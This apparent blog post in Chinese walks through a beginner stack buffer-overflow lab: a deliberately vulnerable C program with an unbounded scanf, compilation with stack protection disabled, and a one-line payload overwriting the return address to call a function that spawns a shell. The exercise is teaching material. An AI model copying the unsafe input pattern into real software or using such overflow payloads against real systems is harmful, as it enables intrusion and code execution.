ROP攻击初试 Return2PLT

补充:有点迷,感觉像是Return2libc,通篇攻击貌似没有涉及到PTL

具体内容在http://netsecurity.51cto.com/art/201703/534647.htm,这里摘取操作步骤,原理有待以后补充
关于PLT的介绍来自http://pwdme.cc/2017/09/26/lazy-binding-in-detail/
最后解释了一下为什么写入数据字节数是28个A

Procedural Linkage Table,也就是PLT是过程链接表,为每个全局变量保存了一段代码,第一次调用一个函数会调用形如function@PLT的函数,这就是跳到了函数对应的PLT表开头执行,会解析出函数真正的地址填入GOT表中,以后调用时会从GOT表中取出函数真正的起始地址执行。

Global Offset Table,也就是GOT表为每个全局变量保存了入口地址,在调用全局变量时,会直接调用对应GOT表条目中保存的地址,而不调用绝对地址。

1、待攻击代码:

    #include <stdio.h> 
    #include <string.h> 
    #include <unistd.h> 
    #include <stdlib.h> 
    void grant() { 
       system("/bin/sh"); 
    } 
    void exploitable() { 
       char buffer[16]; 
       scanf("%s", buffer); 
       if(strcmp(buffer,"pwned") == 0) grant(); 
       else  puts("Nice try\n"); 
    }    
    int main(){ 
       exploitable(); 
       return 0; 
    } 

2、关闭堆栈保护程序

$ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32

3、分析
在exploitable()函数中,设置了16字节的缓冲区,但是值得我们注意的是scanf函数没有安全的使用,这导致我们可以写入超过16字节,这就导致了缓冲区溢出的可能。我们用注意到,有个函数调用了sytem(“/bin/sh”),这里我们就可以假设,如果我们可以操作函数调转,去调用grant()函数,我们就可以拿到shell了。

4、尝试控制EIP
由于scanf不执行绑定的check,因此我们可以通过覆盖函数的返回地址来指向某个已知位置来控制EIP,指向grant()达到getshell的目的。我们可以通过objdum工具,来获取grant()的地址。

$ objdump -d ./hack_me_2 | grep grant

结果看起来是这样的:

080484cb :
8048516:e8 b0 ff ff ff call 80484cb

接下来写exp,达到目的

$(python -c’print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”’ ; cat - )| ./hack_me_2

至于为什么是28个字节?原文没给出结论,我尝试用objdump查看exploitable()函数的栈帧结构

$ objdump -d hack_me_2

080484e4 <exploitable>:  
80484e4:    55                      push   %ebp  
80484e5:    89 e5                   mov    %esp,%ebp  
80484e7:    83 ec 18        sub    $0x18,%esp  
80484ea:    83 ec 08                sub    $0x8,%esp  
80484ed:    8d 45 e8                lea    -0x18(%ebp),%eax
80484f0:    50                      push   %eax

发现exploitable在栈上分配了24个字节的空间,要覆盖到返回地址还需要4个字节去覆盖保存的旧的%ebp,所以总共需要28个字节的’A’写入,然后再把返回地址修改为函数grant的地址0x080484cb,采用小端法存储

猜你喜欢

转载自blog.csdn.net/lingyuexueai/article/details/81437108
ROP
今日推荐